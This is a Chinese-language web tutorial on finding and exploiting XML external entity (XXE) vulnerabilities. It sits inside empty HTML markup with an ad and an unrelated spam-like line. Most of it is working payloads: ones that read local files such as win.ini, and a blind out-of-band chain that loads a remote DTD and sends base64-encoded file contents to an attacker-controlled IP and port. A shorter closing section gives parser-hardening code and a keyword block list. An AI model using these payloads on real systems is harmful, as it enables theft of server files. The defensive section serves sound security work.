<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                合規國際互聯網加速 OSASE為企業客戶提供高速穩定SD-WAN國際加速解決方案。 廣告
                ## 尋找與利用xxe漏洞 ### 如何找xxe漏洞: 1. 抓包看accept頭是否接受xml 如果是,使用payload驗證是否可以攻擊 2. 抓包看accept頭是否接受json 如果是,把json改成xml,后用payload測試 一般 xxe 利用分為兩大場景:有回顯和無回顯。 有回顯的情況可以直接在頁面中看到Payload 的執行結果或現象, 無回顯的情況又稱為`blind xxe`,可以使用外帶數據通道提取數據。 ### 有回顯xxe ```xml # 使用通用實體讀取本地文件的payload <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> <foo>&xxe;</foo> # 使用參數實體讀取本地文件的payload <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evils.dtd" > %xxe; ]> <foo>&evil;</foo> ##外部 evils.dtd 中的內容。 <!ENTITY evil SYSTEM "file:///c:/windows/win.ini" > ``` ### 無回顯xxe 可以使用外帶數據通道提取數據,先使用 php://filter 獲取目標文件的內容,然后將內容以 http 請求發送到接受數據的服務器 ```xml <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/test.dtd"> %remote;%int;%send; ]> ##外部 test.dtd 中的內容。 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt"> <!ENTITY % int " <!ENTITY &#37; send SYSTEM 'http://192.168.0.105:8080?p=%file; '>"> ``` 整個調用過程 1. 連續調用了三個參數實體`%remote;%int;%send;`,這就是我們的利用順序, 2. 先調用`%remote` ,調用后請求遠程服務器上的 test.dtd(類似于將 test.dtd 包含進來) 3. 再調用`%int`,int會調用test.dtd中的`%file`,會去獲取服務器上面的敏感文件,并將結果進行base64編碼 4. 后調用`%send`將結果,以url參數的形式發送結果到指定服務器,(實體的值中不能有%, 所以將其轉成 html實體編碼`&#37;`) 編碼可參考:http://www.mamicode.com/info-detail-1680849.html 最后,怎么查看最終數據 1. 有報錯直接查看報錯信息 2. 無報錯需要訪問接受數據的服務器中的日志信息 可以看到經過 base64 編碼過的數據,解碼后便可以得到數據。編碼是為了不破壞原本的 XML 語法,不編碼會報錯 ## XE漏洞修復與防御: 方案一:升級PHP版本 方案二:修改代碼 ``` #PHP: libxml_disable_entity_loader(true); #JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); setFeature("http://apache.org/xml/features/disallow-doctype-decl",true); setFeature("http://xml.org/sax/features/external-general-entities",false) setFeature("http://xml.org/sax/features/external-parameter-entities",false); #Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) ``` 方案三:黑名單過濾關鍵詞(不推薦) ``` <!DOCTYPE、<!ENTITY SYSTEM、PUBLIC ```
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看